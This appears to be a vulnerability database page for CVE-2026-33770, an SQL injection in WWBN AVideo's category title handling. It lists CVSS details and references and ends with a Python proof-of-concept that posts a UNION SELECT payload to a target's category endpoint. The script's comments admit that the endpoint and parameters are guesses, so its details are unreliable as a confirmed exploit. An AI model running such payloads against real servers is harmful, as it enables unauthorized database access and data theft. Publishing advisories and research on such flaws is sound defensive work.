CVE-2026-33770

Description

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `fixCleanTitle()` static method in `objects/category.php` constructs a SQL SELECT query by directly interpolating both `$clean_title` and `$id` into the query string without using prepared statements or parameterized queries. An attacker who can trigger category creation or renaming with a crafted title value can inject arbitrary SQL. Commit 994cc2b3d802b819e07e6088338e8bf4e484aae4 contains a patch.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:* - VULNERABLE

WWBN AVideo <= 26.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC Code for CVE-2026-33770
# Exploiting SQL Injection in WWBN AVideo category title

import requests

def exploit_sqli(target_url):
    # Malicious payload to demonstrate SQL injection
    # Example: Attempting to extract database version
    payload = "test' UNION SELECT 1, version(), 3, 4, 5, 6, 7, 8, 9, 10-- -"
    
    # Endpoint logic based on vulnerability description (category creation/update)
    endpoint = f"{target_url}/objects/category.json"
    
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": "CVE-2026-33770-Scanner"
    }
    
    data = {
        "title": payload,
        "clean_title": payload, # Depending on parameter mapping
        "action": "create"     # Or update, depends on specific endpoint logic
    }
    
    try:
        response = requests.post(endpoint, data=data, headers=headers, timeout=10)
        if response.status_code == 200:
            print("[+] Request sent successfully.")
            print("[+] Response body:")
            print(response.text)
        else:
            print(f"[-] Server returned status code: {response.status_code}")
    except Exception as e:
        print(f"[-] An error occurred: {e}")

if __name__ == "__main__":
    target = "http://localhost:8080" # Replace with actual target
    exploit_sqli(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-33770
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-33770
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-33770/
[4] VulDB https://vuldb.com/cve/CVE-2026-33770
[5] https://github.com/WWBN/AVideo/commit/994cc2b3d802b819e07e6088338e8bf4e484aae4
[6] https://github.com/WWBN/AVideo/security/advisories/GHSA-584p-rpvq-35vf

Raw JSON Data

JSON

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